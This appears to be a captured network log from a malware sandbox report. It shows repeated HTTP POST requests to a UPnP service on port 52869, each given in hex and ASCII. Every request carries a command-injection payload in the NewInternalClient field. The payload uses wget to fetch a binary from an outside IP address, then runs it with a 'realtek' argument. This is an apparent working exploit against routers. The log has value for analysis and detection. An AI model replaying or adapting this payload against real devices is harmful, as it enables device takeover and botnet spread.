                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:48.281361103 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:54.425174952 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:06.456842899 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.800056934 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:20.950695992 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      94192.168.2.153961291.239.5.17752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:44.308109999 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
